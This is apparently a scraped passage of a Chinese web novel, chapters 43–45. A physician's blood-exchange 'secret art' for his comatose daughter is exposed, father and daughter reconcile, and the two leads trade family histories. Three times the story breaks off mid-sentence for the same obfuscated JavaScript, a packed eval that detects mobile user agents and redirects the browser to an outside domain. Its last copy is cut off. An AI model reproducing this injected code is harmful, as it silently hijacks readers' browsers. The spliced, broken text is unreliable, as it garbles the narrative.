不知不觉,他的欲望降低了,从以前希望女儿好起来,变成了希望有生之年还能亲眼看女儿醒来,最好再唤他一声“爹爹”。 当真是荒唐,命运偏偏让他们父女互相错过。 陆子礼从未像现在这样自觉亏欠过女儿。 “对不起……对不起,长岁,是爹爹做得不好……” 陆子礼用沾了血和灰尘的十指紧紧扣住满是泪的脸,关阇彦和魏郁春也已沉默,心情更是说不出的难受,简直像是被什么东西箍住了心底的通道,各式各样的情绪出不去,只好堵在 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“我也有出来透气的一天,会特地注意陆子礼藏放秘术和钥匙的地方。后来我告诉了陆长岁,让她知道父亲会藏钥匙的地方在哪里,如果她在白天醒来的话,就偷偷帮我找钥匙,把我从地室放出来。她一直把我当作游戏的玩伴。但基本上她做完这些事情后,就又会昏倒过去,她会躺回床乖乖摆着醒来前的动作。我出来后,还会偷偷帮她收拾好细节,不会让她暴露醒过的痕迹。” “包括我继续回地室前,也会特地放好钥匙,地室上堆放的箱子杂物的位置我都记得清楚,我把它们一一归位。” “关闭砖门的地方有一块挂锁的空隙,这个空隙不会被杂物压到。即便我在室下的甬道上,也可以拿树枝从空隙里将锁勾下来,锁好后再把它推回去。” “回去后,我会熟悉地打理好自己,让本就不会怀疑到这方面的陆子礼更找不出破绽。因为,他永远没办法发现自己女儿早已醒来。” 关阇彦和魏郁春简直无法相信这竟然是一个十岁女童能做出来的事情,对比下来,被她骗得团团转的陆长岁,才是有着同龄孩子正常心智的孩子。 不谈陆长岁,就连陆子礼如此心思缜密的成年男子,都被这个丫头耍得寻不到东西南北。真是人间奇闻。 这丫头天生玲珑心智,又涉世过早,孤苦伶仃,日子难过却还要处处留心照顾妹妹,心肠比正常孩童多出这么多道的弯弯儿,好似也是情有可原之事。 但这不意味着她不需要为犯下的错赎罪。 且她做下这些,仅仅是因为害怕陆子礼对她的关照,会随着陆长岁的醒来慢慢消失,至于担忧孤女妹妹会被连累一事,不过也是她心中的次要…… 此女如今的心肠和手段都沾了黑泥点子,以后长大可还了得?好在她在知道妹妹真实境遇后,良知被唤醒,回头是岸。事后应当好好教导,防止她以后再入歧途。魏郁春如此暗忖。 关阇彦亦是倒吸了一口凉气,回首瞥了一眼阖眸昏迷的陆长岁,针对心思叵测的小丫头和陆长岁道:“这么看来,昨日和今日你能从地室出来,都是多亏了陆长岁这个帮手的忙。怪有缘啊,陆长岁拢共醒不来几回,我和我这亲戚来的两天就占了大半。” 说罢,他还那手比划了一个“二”,意非讽刺,而是难以抑制的喟叹。 毕竟,今日这段真相大白的戏码,让他这个自以为见多识广的人都大开了眼界。 43. 大梦方醒(3) 魏郁春闻言,垂手盯着扶着她臂弯安静不语的陆长岁,由衷感叹:“偏偏到了父女本该相聚的时候,她又不愿醒来了。” “昨晚子时换血,我其实看到长岁有要醒来的迹象,我故意挡住了没让陆子礼看到。等陆子礼像往常一样离开后,我才自顾自地和长岁说起话。我跟她说,如果她明日还能醒来,我就把她想知道的秘密都告诉她。” 小丫头的嗓音已经沙哑,每个字都似是卡在喉咙间被用力推挤出来一般,便是大街小巷上驾车运货老驴摩擦沙地的动静,都没有她的声音这么磨耳朵。 “长岁那时候醒了吗?!你都和她说了些什么?!” 陆子礼抓挠着自己的脑袋,梳顺的发已经乱如禽窠,碳粉被抹晕开来。这时,大家才看清楚他已白发斑驳的真面,如今心急火燎直攻内腑,短短眨眼间,他的白发越添越密,似刚出穴的老妖一般,人样稀疏。 小丫头好似早已习惯众人对她的施压,她沙哑的声音还算平静:“她没有醒来。我只是抱怨似的,和她说起换血之事,告诉她我一直以来都在骗她,我根本不是她的玩伴,她的父亲也根本没有和她玩耍,所谓的秘密不过是我为了获取利益、吊人胃口来隐瞒真相的噱头。” “我告诉她,其实她得了很严重的病,不可能治好,而她的父亲不眠不休操练邪术,将她的毒吸入自己的体内,借助我的血换入她的身体里,才能保证她的安康。然而,时间越来越长,她父亲的身体也已病得不成样子,我也不得不为了她抛弃自己的妹妹……我……我知道自己没有资格再说这样的话,但那时我只是觉得委屈,什么都想要抱怨,什么负担都想甩给别人。” “那时,深夜朦胧,我感觉到了长岁在我身边轻轻颤抖,我感觉她听到了,只是碍于身体僵硬,无法醒来。即便如此,我还是能感觉到她的难过。她其实很在乎父亲,她听到了父亲为了自己,一直将她体内的毒血换入身体内,不管他自己的身体变成什么样子……可她终究还是没醒来。” “我没了希望,却怎么都没想到今日她哭啼啼地光着脚来寻我,求我想想办法,这次醒来她居然什么都记得……我答应了她,从地室出来后,她已要晕过去,我悄悄帮她安顿好后,便来偷听了你们说话。” 说罢,小丫头侧首抬眸,闪烁着的眼神掠过关阇彦和魏郁春的身影。 “我说过,你所谓的秘密,整个屋子内所有人都明白,包括你的宝贝女儿。” 关阇彦面不改色地说道。 原来他一开始的话意欲在此。 他从察觉到小丫头逃出地室是借力而为后,就隐隐猜到了陆长岁是不是从小丫头的口中得知了陆子礼的事情。 当时他不知道小丫头和陆长岁的往事纠葛,只以为陆长岁一醒来反而不去寻陆子礼,而是选择帮助相对陌生的小丫头,是因为被小丫头用这些故事拿捏了心神。 他以为自己的猜测已经够大胆了,结果没想到现实更荒诞,至于最初的念头在变得骨感的同时,幸好也保留了实质性的结果——陆长岁的确发现了她爹的那些龌龊情。 “为什么长岁醒来后依旧不愿意寻我……为什么,她明明都知道了这一切……长岁,你告诉爹爹,好不好?长岁……” 陆子礼彻底崩溃,他整个人仰面背地倒下去,青乌的眼圈内猩红的目死死盯着床榻上的女儿,抵住地面的眼仿佛要淌出一条血河。 关阇彦背过身去,说:“如这丫头所言,令嫒能醒来就不容易了,即便是醒了也就睁眼不到一炷香的时辰,她若是直接寻你这个爹爹,事情说都说不完,你估计还以为邪术有了进展,更加变本加厉,何谈阻止你?另外,看你之前那样,令嫒劝阻你,你就会听吗?思来想去,还不如直接托付别人办事。” “阻止……为什么,明明很快就能治好她了,为什么要阻止我!”陆子礼含恨而怒。 魏郁春垂手叹息:“你这种无意义的奉献,真的能感动得了别人吗?还是说,只是感动了你自己而已?” “你不妨站在长岁的角度想想,至亲为了自己的安危差点把命搭进去,她一个心智稚嫩的孩童不会去责怪任何人,甚至不会责怪老天爷,她只会觉得是自己拖累了你。” 她的身子已经能动,怀里的陆长岁被她小心翼翼地抱了起来。 关阇彦背她离开先前的窄塌时,忘了给她提鞋——罢了,这种事情若真叫关阇彦干了,真是太不合规矩了。不方便就不方便吧,不该抱怨什么。 她下塌时只好光溜溜着脚丫踩地,幸好地上被早晨的阳气烘过,虽然还是有未被驱散的凉气,她并不觉得难受别扭。 她将陆长岁抱到陆子礼身边去,小姑娘的呼吸像是暖风一样,呼呼地扫过她鬓边的散发,痒痒的。她果然还是不敢相信,这是个注定夭折而亡的孩子。 关阇彦愣眼看着她,最后默许了一般,没有挡她。 陆子礼眼见女儿要到怀中,他狼狈地起身,跪坐在地,缓缓接过魏郁春搂抱在脖间的姑娘。 魏郁春还是长叹了一口气,她对陆子礼的态度早不似先前那般忌惮,眼神中反而有似海纳百川般的宽容。 她是预定了陆子礼不会再对她有什么威胁了,甚至说未来,他也不会再囚禁着孤女姐姐,更不会囚禁自己了。 她蹲下身子,动作和缓温静,那股人淡如菊、风骨若竹的熟悉气质又紧紧将她环绕。 即便是被邪术迷乱心智的陆子礼都被她的亲近力感染,一边抚摸着女儿额头的绒发,一边静静听着魏郁春的话音。 “你坚信天仙秘术可以帮你消解女儿的病痛,那给你带来了什么呢?你作为秘术的媒介,能帮你女儿吸走多少毒血?病灶在她身,毒血源源不断,难以绝迹,可被你当作容器的身体却是有限的,如今浑身血液皆被污染。” “你和秘术不过是在赌,到底是你长岁病灶散毒的速度更快,还是你的身体被毒血侵染殆尽的速度更快一些。如今看来,好似是前者将要夺魁。比起病情微有气色的陆长岁,你却仿佛已经倾尽了一生之力,六脉皆衰,再难回头。” “即便最后陆长岁真的醒来了,你却倒下了,她一个不过十岁的稚子要如何面对这以命换命的结局?她又要靠什么立身于无依无靠的世间?到头来,你只是叫禺山镇又多了个可怜孤女。更何况这些猜想已经是最好的结果。所以,你永远都等不到这样的一天,也不希望等来这样的下场。” “若你执意信奉天仙,你做的事情早被我们揭发了,算是违逆了秘术的规矩了吧?无论如何,你都没有理由继续执着下去了。收手吧。” 越到后面,魏郁春的话就越是扎人心窝子,可平心而论,她至始至终语气都没有什么起伏变化。她的话就像是包裹着毒药的蜂蜡,乍然尝下去没有味道,可品下去,才知这些比一般的毒药还要致命。 真是一套好说辞,关毒彦不动神色地觑着她,在一旁压着情绪暗忖,不过他没有做过多感叹,因为魏郁春的特殊对他来说,好像已是习以为常的东西了。 关阇彦看着快要哭地晕厥过去的陆子礼,既感到为难又觉得可恨。 他说道:“事到如今,你还不清醒吗?什么天仙秘术,不过都是摧身残心的邪术。每回给你一颗枣,让你以为女儿的病情有所改善,你就越陷越深。到头来,女儿还没救回来,自己就先撒手人寰了,真够邪性的。我看你根本没有必要再信奉什么天仙了,都是骗人的把戏罢了。” 陆子礼已成了没有灵魂的躯壳,搂着女儿坐在地上,眼睛眨也不眨一下,任人说什么都不搭理,不哭也不闹了。 屋内安静,空气中连尘埃飘落的声音都仿佛能听得到。 众人都微微屏住了呼吸,不知道陆子礼有没有将大家的劝说听进去,不确定他是不是至今还认为大家都在欺骗他。所以大家都希望昏迷的陆长岁可以醒来,与他父亲坦白一切,成为压垮他父亲执念的最后一根稻草。 可世事哪有那么容易被成全? 陆长岁连续两日醒来已经是奇迹,再贪心的人都不该奢求下一个奇迹的发生。 魏郁春以为自己劝说无果,起身要离去,谁知陆子礼却突然讷讷开了腔:“反正一切都结束了……你们都走吧,要怎么做全部都随你们便。” 神医之才隐没山间,一朝天才为爱执着疯魔,最后落得一个玉石俱焚的下场,任谁都会感到叹惋。 关阇彦见着颓丧的陆子礼,没眼看地瞥开脑袋,一时无言。 魏郁春却依旧声色不动地说着:“你的事情我们不会说出去,你安心。你爱女心切的心情,我能理解,索性你及时止损,未伤及无辜之人……” 说到此处,她话音顿转,眸子瞥向站立如桩的小丫头,摇摇头失望道:“缘果相依,我本以为你是可怜之人,结果未想到你竟做出这些孽事,你一点都不无辜。” 小丫头含泪点头,应下魏郁春看似不痛不痒实则直戳人心窝的诲言。 陆子礼木然的眼微微有了波澜,抬眸间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447386|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有欲言又止之态。 有了魏郁春启头,关阇彦也没退避在人后了,站出来说道:“我可没这位女娘好说话,你将两个月前得到天仙秘术的来龙去脉交代清楚,放走这小丫头后不可再纠缠她,另外必须给予银钱吃食补偿孤女妹妹。当然,呵,我们的东西也别忘了给我们——” 魏郁春侧眸,估计没想到他会这么绝情,还有那什么秘术,他这么在乎此物做什么? 关阇彦靠着往昔遭遇联系秘术出现的时间判断出幕后之人的成分,而她毕竟不是关阇彦肚中的蛔虫,不清楚他脑中过往之事,自然想不通他为何会对秘术如此重视。 正当她还在摸索思忖的时候,关阇彦下一半话音才响起。 “纵使都是一死,天命不可违,与其浪费时间在邪术上,不如遂了陆长岁的愿,多陪陪她,她要的或许仅仅是你的陪伴,你不肯给,对她来说再多的命数都是虚妄,甚至说让她感到更痛苦,毕竟那些命都是你给的。换作旁人都不敢要,更遑论她一个心性单纯的稚儿?冥冥之中皆为注定,长岁兴许不是不能醒而是不愿醒来。” 原来冷面的武夫也有一颗欢快的炙心。他分明说的话还是一如既往地不太中听,可态度的改变,放大了话的弦外之音,竟还算动耳。 震讶之时,魏郁春嘴边也浮现出了一个几乎察觉不到的浅笑。 陆长岁摇了摇残破地如风中摇曳的火烛的身子,那双空洞的眸子里又落出泪来,猩红的眸色映在眼眶边豆大的泪珠上。 纵关阇彦和魏郁春从前对他的偏见再大,直到此时,却都奇迹般地烟消云散了。 天命不可违……这该死的天命,它要做的难道真的是对的吗?将陆子礼的妻子带走后,作为陆子礼最后的念想的陆长岁也绕不开这个坎,最终,连陆子礼他自己也落得个里外不是人的结局。 可他一生做过的唯一错事就是走投无路后用秘术试图治愈病女,从前呢?他行医三十余年,渡过旁人万苦,唯独渡不得自己的苦。这公平么? 便是魏郁春,都忍不住在心中痛骂了起来:“天地不仁,以万物为刍狗?呵呵,这天道何时公平过?” 为什么无辜心善之人都是这样的下场,陆子礼是,母亲是,她自己也是…… 更可笑的是,天道忧虑自己的偏心遭人揭露,在惩戒一人时,非要故意挖出一只万劫不复的大坑引其堕落,和扣屎盆子一般,箍住关乎此人一生善恶是非的定义。到头来指责起来便是,像陆子礼这样的人,是扼不住心中大欲,偷练邪术,伤天害理,名声当毁、风骨可焚、该罚该惩。 它那一碗水端平的作风因此得以印证。 着实是冠冕堂皇。 谈及前世,她亦是被人随意宰割的案板鱼肉,被人构陷威胁,走投无路自缢而亡,思来想去,这何尝不是天道为所欲为一面的映射呢?兴许天道惊呼自己判责错了人,不,应当是判责时用错了道理,毕竟比起陆子礼,她没做什么恶事,全为被动,绝对无辜。 道理过于玄乎不可取,它甚至不厌其烦地将她重新投回人间,故技重施,这次变作了她因操办学堂引来豺狼诬陷,虽同样无辜,却比起前世,到底是做了些事,她虽是没受到身伤,却影响了其他无辜之人的安危。 总之,她终于不算全然无辜了。这天道可是称心如意了呢? 她心中含恨,不公之心达到顶峰,她铁了心要破这狗屁天道的恶局,她偏要名声大放、风骨长屹不倒,偏要对抗这无情天道! 大梦方醒时刻,总会对后来的事情感到迷茫,甚至难以自拔于虚妄,陆子礼的沉默就代表了这一切。 可当他瞥见怀中女儿形容不变的面目上忽地滑落一颗晶莹泪珠时,他丢失在往梦中的魂魄瞬间被拉回了现实。 女儿的愿望和期盼化作了具象之物,父女连心,他在那颗泪珠上看到了女儿心中最澄澈的念想——她只是希望好好和爹爹一起开心玩乐,除此之外,她什么都不要,她不能自私到让爹爹什么都要为她付出。 陆子礼失声泪崩:“爹爹知道了……长岁……爹爹再也不做傻事了。” 他轻轻用小拇指钩住了陆长岁的肉乎乎的小指头,慢慢晃荡,口中喃喃:“我们拉钩上吊……一百年不许变……” 魏郁春终于忍不住了情绪,她侧过身去,徒留了只背影在众人视角内,偷偷抽袖掩了掩泪。 关阇彦也默默阖了眸,仰天哀叹几息。 小丫头更是愧疚到无地自容的地步了。 44. 各怀鬼胎 一幕幕真相大白、父女情深的幕布依次落下,外面天色已晚。 魏郁春一副病身,刚醒来又投入了数不清的情绪在这一桩桩可怜可叹的事中,她赤足站立许久,脸色越发青乌,险些又晕倒,还好关阇彦在旁边有所警觉,危急时刻搭下几把手,她才能一直照常站立。 那心智了得的小丫头后来被魏郁春单独拉到了角落中,说了不少话,那丫头羞着脸不停落泪,而魏郁春却是一边板着严肃的脸色,一边叹息。 她估摸是在训斥丫头的品行道德,但明白小丫头再强硬却还有良心在,说明也是有薄脸皮的。 当着所有人面再喋喋不休地说她,怕是过于打压了人心,日后记恨不愿悔改、自卑不已、难以重拾自我都是不好说的。 那丫头频频点头,魏郁春才放心回来,让陆子礼放心,这丫头已有悔改之心,不会再出去乱说什么。陆子礼无心再管这些事,不久后给了丫头一些补偿后,就让这丫头径自离开了。 陆子礼终于收拾好了失魂落魄的情绪,将女儿的全身擦拭干净后抱入被褥。 自己则拖着颓丧的身子,引着魏郁春和关阇彦二人来到院中庖厨。 他揭开灶上土锅的锅盖,勺出午饭时剩下的清炒猪肝。从箩筐里取来已经清洗好的豆角,下锅炒好后又蒸了几只白馍馍,一起端到了院子樱桃树下爬满丝瓜藤的木架下。 陆子礼拢着袖,蓬乱的白发下是比初见时还要苍白单薄数倍的脸色,他瘪着干唇,虽然依旧不好亲近,但神采上却少了太多阴气助长的固执怪脾性。他好似已然接受了孤家寡人的结局。 他面对魏郁春和关阇彦时,态度也不似先前那样,将他们当作搅局者看待。 他已经开腔:“二位为陆某的家丑劳心劳力,是陆某的不是,还请见谅。” 陆子礼有气无力的话音听起来依旧粘滞呕哑,但一点敌意和疏离感都不见了,取而代之的是真心招待和致歉的诚意。 这反而让魏郁春和关阇彦更加浑身不自在了,可耐不住体力告急,只好依言去草堂子端来四角不齐的杌子,围在木头架子下原本放置乘凉长椅的空地坐下。 空地上被陆子礼安置上了刚从庖厨里端来的小桌子,桌子上摆了两碗剩饭、一碗只盛了一半的剩猪肝,还有现炒的一盘子上头缀了两只白馍馍的热豆角,兼味十足,这在落魄的关魏二人眼中已是极度奢靡的菜肴了。 魏郁春扒拉了几口饭食,让腹中翻滚的饿意停歇几分,继续吃着,她却迟迟得不来果腹的快感。分明今日吃的都是一个月来都难以见着的荤菜,口味做得也不差,可到她口中,却只是堪堪比嚼蜡的滋味好些罢了。 相比而下,关阇彦则好了很多,他巴不得趁此机会把魏郁春克扣他的伙食都给吃回来,吃相还是老样子,不过看似板着脸一脸肃重,箸梜却在手上无形无影,一刻不带停,桌上饭食很快就要被他横扫一空。 陆子礼见二人没有再怪责他后,就道:“我去为二人煮些午时未来得及服下的药汤。” 表面是说要去熬药,实际上不过是不愿与人交际,想要借着熬药的幌子,自己静静呆着收拾荒败的情绪。 旁人都知晓他的言下之意,知道此时不好阻拦,只好明着会意。 关阇彦怕他忘了秘术一事,以及担忧对方会奇怪自己为何会在乎此事,索性用比较主观性的言辞粗略地交代好古溪村的一些难事。 “陆大夫且慢。我向你求取秘术一事并非为了移灶自用。我和这位远房亲戚近来家乡刚好出了一些难事,村中不少孩童突然离奇失踪,一户人家更是被一种会用离奇异术的歹人夺走了性命,那歹人本也想害了我们一家的命,未果后妄图嫁祸于他人。” “我们一直都在想办法找出害命之徒,救下被掳走的孩童,还自家一个清白。我一身湿邪多半也是拜那群歹人所赐,足以证明我并没有信口胡诌。” 魏郁春暗村他思虑周全的同时,也明白这一席话不只是说给陆子礼听的。关阇彦借此也提醒了她为何他在意天仙秘术的缘由,省的再多余解释一番。 闻言后,她不可能想到关阇彦怀疑秘术的点子会和那些悬幻莫测的政局变动有关,她细思一番,抓住了陆子礼和黑衣人们的共同点,以为关阇彦也跟她一样是受此启发。 只是她醒来得晚,之后光顾着叹惋陆氏父女的苦难,晚他一步考究到了此处。 她旋即领悟意思,帮忙傅会道:“那些害命之徒不仅身兼邪术,还很是针对孩童。此举和陆大夫颇为相似,我们因此有所启发。烦请陆大夫待会儿能与我们细细讲清这些秘术的渊源出处。” 陆子礼垂着的眼皮微微掀了几只褶皱,打量了二人的神色变化,确信没有撒谎之意后,才颔首应下:“好。” 随后,陆子礼拢袖退席,往他常年幽居的四处泛滥姜气的草堂里径自而去,须臾间就没了影子。 阳光漏过木藤环绕的凉架,微风几许,渐行其间,将婆娑的树影全然投射在地面上,斜斜的,不知比原样大了多少倍、扭曲了多少时况、徒增了多少意趣。 魏郁春没什么心情再吃饭,置下还有大半碗饭的碗筷,托腮而望向穿插着斑驳阳光的叶丛,丝瓜的弯藤俏皮地勾搭在樱桃树上,躲在樱桃树叶下的黄色瓜花只有在藤下才能被看见。那樱桃果圆滚滚的,泛着红润的光泽,阳光下流光溢彩,好似披着虹霞的宝珠,竟有些诱人。 比起饭食,她倒更乐意攀上树干揪下几串果子,用它们的裹着果香的甜酸涩味儿,解解心中郁闷。 关阇彦这个饿死鬼已经饱餐一顿,吃饭时两耳不闻窗外事,直到饭毕才发现魏郁春碗中还留了大半米饭。陆子礼已经走开,他没了伪装的负担,又变回了魏郁春印象中没脸没皮的青年,一提到耍弄她,就浑身起劲儿。 他冷冷甩了一句:“呦呵,怎么今儿这么矜持了?先前可没见你这么不能吃。” 魏郁春忍住翻白眼的冲动,盯着满树樱桃没移目。她已经习惯了私底下和这男子相处的方式,先前不管是保守还是疏离劲儿少了一些,但这不代表她对他的态度好了多少,因为少的部分,都被替代成了半分不退让的反击。 此时,她亦毫不留情地驳他一句:“今儿也难见大少爷这么舍得放开吃相动筷,是适应现在的生活了?” 关阇彦嘴角一僵,没想到此女居然脸皮这么厚。在古溪村的那些日子,她那般对待他,一天天的饔飧不饱, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447387|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他饶是想多吃点也没辙,她倒好,真有脸说这话。 他冷脸哼她:“哼,大小姐怪会开玩笑的,你给的那些麻雀都不够吃的吧?” 二人如今是闲下来不拌两句嘴,浑身就跟长虱子了一样,钻得心都痒痒。 关阇彦也跟着停箸一阵子了,顺着魏郁春的目光看去,一树樱桃若烟花般炸开在头顶,发现了它们的存在后,空气中都仿佛飘其了果香。只恨没有躺椅,否则他是真忍不住仰倒下去跟着椅子摇晃,若身边再配上一本兵籍和一瓶琼酿是再好不过了。实在不行,老爷子和娘的怒骂嗔怪声也算凑合。 他从没想过自己还能有念家的一日。 要知道,先前他是有多张狂就有多张狂,一天到晚不着家,有事的时候就出门应征,没事的时候要么起早贪黑练己练兵,要么泡在营帐里和老将军和亲信们排兵步法。 要实在无聊也不高兴回家听牢骚,挑灯舞剑、深夜骑马对月而饮……心情不好迁怒小兵加大力度训练的事情甚至都发生过。军中无人不晓他绝世将才的同时,也无人不知他这泼傲性子。 哎……真是时过境迁啊。 他回过神来苦笑不已,瞥到自己手臂上在光下泛白的皮肤,也开始感叹,从前他闲不住在太阳下忙来忙去,每忙完一阵子回家娘都苦苦哀叹他快要晒成了黑炭,父亲则说这是男儿风骨的象征。 他天生体质特别,估摸是托娘的福,皮肤不易被晒伤,即便晒黑了也能很快白回去。现下,他的皮肤就已经白了□□度回去了,天知道他闲了多久。 魏郁春见他唉声叹气,觉得心奇,随心侧眸问他:“你也有心事?” “也?”关阇彦眉梢单挑,摸摸下巴,惆怅顿时不见,倒是兴趣起来了不少,“你有什么心事?” “你先说,”魏郁春揉揉太阳穴,抱怨自己太大意,竟让对方钻了空子。 “不行,你说了我才说,”关阇彦嘴边的笑意愈发不怀好意。 魏郁春心中嗤了他一句“幼稚”,但想起来自己那点事情,也不算什么必须得藏着掖着的东西,说出来反而轻松快意得多。 不过她性子闷,本打算自己消化。结果对方先开了这个口子,她顺其自然下去,也没什么不好的,不仅能打发时间,还能给自己寻处台阶下。 或许,她还能靠这个和对方交换点底细?魏郁春眉心一定,另辟了思路。 反正都是无关紧要的东西,她装作很重视的样子说出来,再勒索他交代点关于他自己的事情,真是没有比这个更好的捉弄办法了。 她在窃喜的时候,也不忘感慨自己不知不觉间就跟关阇彦染上了喜欢刁钻人的恶习。 她开始了演起了自己的戏码,说道:“君子一言驷马难追。我说了你也必须说。” “嚯,君子之言都出来了?”这恰巧勾起了关阇彦的兴致,他以为魏郁春要说的心事会和金光大仙下的真实故事有关,恨不得端着小板凳,立耳而听。 他心想,反正先勾走自己要听的东西再说,到时候随便弄点家里鸡毛蒜皮、微不足道的事情应付就得了。 他也开始窃喜,天底下没有比这个更划算的买卖了。 二人各怀鬼胎。 45. 昔时旧谈 魏郁春已经开腔:“有些感慨罢了。常听说这世间不少轻视女儿的父亲多矣,可能看似视若明珠,实际心中暗藏玄机,想以此作舍,换取什么更想要的东西?但陆子礼却宁愿抛弃毕生才华和生命,也要为女儿博取一线生机。” 她哪里是听说,只是借此说法表达了对前世父亲行为的鄙蔑。 关阇彦有些疑惑:“陆子礼这般的父亲确实是少见,但你的父亲也不赖?家中二女,平眼相待。” 魏郁春点头应“是”。 关阇彦见她坦然也就不怀疑了,因为此女虽大门不出二门不迈的,古溪村这一亩三分地,却到处缭绕着来自各地的流言,为了生儿子无所不用其极的、表面结亲实则卖女的事,就连他自己都听得不少了,更遑论魏郁春? 冯家之所以不似旁人执迷不悟,也多亏了这户人家夫妻二人十分恩爱。夫妻二人虽不懂什么文章道理,天性却过于淳朴忠厚,只要是自己的孩子,哪里还管什么男不男女不女的?当然这也有缺点,人善被人欺,村人也有不讲道理的流氓货,先前可不老仗着冯家软弱、女儿痴傻屡屡招惹不休吗? 关阇彦平心而论:“要么是夫妻不够相爱,要么便是各户人家的家风品行、学识有所差异。陆子礼和你门冯家差不多,夫妻恩爱,家风淳朴什么的,自然特别。” “那你们家呢?”魏郁春顺势接话,“我说完了,该到你了。” “冯迎春,你诚心耍我的吧?”关阇彦自觉啥还没刺探出来,人就绕进了她的陷阱里。 不过,说说也无妨,反正现在心里头确实怪想念天天叨叨来叨叨去的老夫妻。 “我们家就一般般吧?我家祖上就有规矩,大丈夫一人只可娶一位夫人,哪怕是夫人无子嗣,要么是宁愿断后,要么也是休了妻子再娶一位夫人延后。挺严苛的。但我爹比较特殊,之前我家早和一户人家说好了亲事,我爹还不知道,他年少时常年在外,初恋心切,跟一位小娘子定了情。” “说好了要回来娶她,结果一回家就被家里按头结了家亲,也就是我娘,生下了我。几年来为了掩盖这桩有损家誉的事情,我爹一直没再回到初恋娘子之地。他心里有愧疚,为此还染了心疾,我娘以为是父亲嫌弃她。父亲也是脸皮够厚,终于肯跟我娘说了那些见不得光的往事,我娘哭了三天三夜都不止,她脾性又软地很,不敢声张心事,夫妻二人嫌隙生了许久。” “那……那位小娘子怎么样了?”魏郁春被故事钩住了心神。 “我娘满脑子都是我爹,眼看着我爹愈加郁闷、心疾入骨,就任由我爹去把那小女娘接回来,说是先当家中婢女,不让旁人知晓,自己一个人吃委屈。我真的不止一次替我娘感到窝火。”他越说越是入神。 魏郁春张了张口,到底没想出要说什么,只觉得这段故事处处弥漫着难以言说的悲寞之气。她一时不知道该同情谁。 关贤齐的父亲成婚前并不知被安排好的亲事,只好被迫向命运低头。那远在外头的春心萌动的小女娘守着承诺等了不知多少岁月,却永远见不着如意郎君的身影。还有关贤齐的母亲,她满怀欣喜地嫁入他府,却发现夫君心中另有所属,她娇滴滴的女儿家在夫家无依无靠,面皮又薄,这些偌大的委屈她只能逼着自己吃下。 到最后,关贤齐他自己,估计童年时没少为这些事抱怨生父。 “之后呢?” 关阇彦目光凛了凛,嘴角忽地浮现出一个冷笑:“我爹直接借着出走办事的机会,同那在外的小女娘苟且了一段时间,生了个孩子。听说是那小女娘守了他无数年,熬成了老姑娘,孤苦无依的,身子骨也弱,那娘子听了我爹的事情后,便说要一个孩子,当作念想陪着自己,让父亲离开便好。我父亲同意了,结果那女娘刚生下孩子没多久,便旧疾复发逝去了。” 魏郁春感到奇怪,连忙问他:“怎如此凑巧?” “是啊,多凑巧,”他感慨道,“接生的稳婆说,那女娘先前就有隐疾,本就不适合生育,她是见了我爹也明知道我爹迟早还会离去,铁了心要生下一个孩子延续他们之间的情谊,她估摸是受不了孤苦一人的日子了,本就不愿意再活下去了。于是就骗了我爹那些事,我爹怎么可能不会答应?结果孩子有了后,人就撒手人寰了。” “竟是如此……倒情愿你爹与那女娘子再不相见,此女何必如此折煞自己?”魏郁春忍不住感慨,但她本就是局外人,体会不得故事中苦命鸳鸯的心境,旋即又语,“也许我也没有资格谈论这件事。” 童年时,这些苦水他只好和娘互相倾诉,长大后,他为了家族面子和男儿风骨,不好再挂念这些绵长情事。时间一长,他都快忘记了当初被困于其中的迷茫愤懑。 关阇彦发现这竟是第一次在外面肆无忌惮地说起这些故事,毕竟现在的他,只是个砍柴郎关贤齐,而不是岭阳关氏的大嫡子。 他越说越觉得心胸畅快,好似是一腔沉甸甸的的泥灰,都被一股狂风,卷出了体外。这道狂风一旦刮起来,还真不容易停得下来,以至于让他忘记了一心只想糊弄魏郁春的初衷。 “女娘子一死,我父亲心疾是解了,不过却换成了更沉重的愧疚。他执意将那小儿子带回家,我娘又是哭得昏天黑地,我老祖母也就得知了此事,为了照顾母亲心情,和外界对母亲和家中的风评,小儿子之事瞒了下来,连母亲娘家至今都不知。” “老祖母呵斥父亲送走小儿子,也就是我弟弟,我父亲宁死不从,祖母差点气得晕倒,父亲终于松了口,将我弟当作捡来的孤儿送出去给家中亲戚当义子。差不多过了十年,我爹与母亲的关系才变得好起来。我母亲冷静地思索了父亲往事的种种无奈,只叹命运无常,到底也不能全怪父亲头上。” “十年灌药调养身子,家中亲戚的夫人终于生了下亲生子,不得已只好将义子送了回来,在家中旁人甚至都不记得他最初孤儿的身份,只知晓这是哪位亲戚寄养过来的儿子,算表亲。” “那时,我那‘表弟’也不明白自己的身世,我父亲为了避险寻日中不会与之来往,但小时候会特地嘱咐我教授他武术。我母亲担心好不容易挽回的和睦夫妻关系再度破裂,有空也会多照顾我那弟弟,但寻常都不会和他有什么深交。” “但我年幼时怕我父亲,多和母亲走得近,发现母亲有时候会故意叫我让着弟弟,我性子拗得很,觉得不公平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 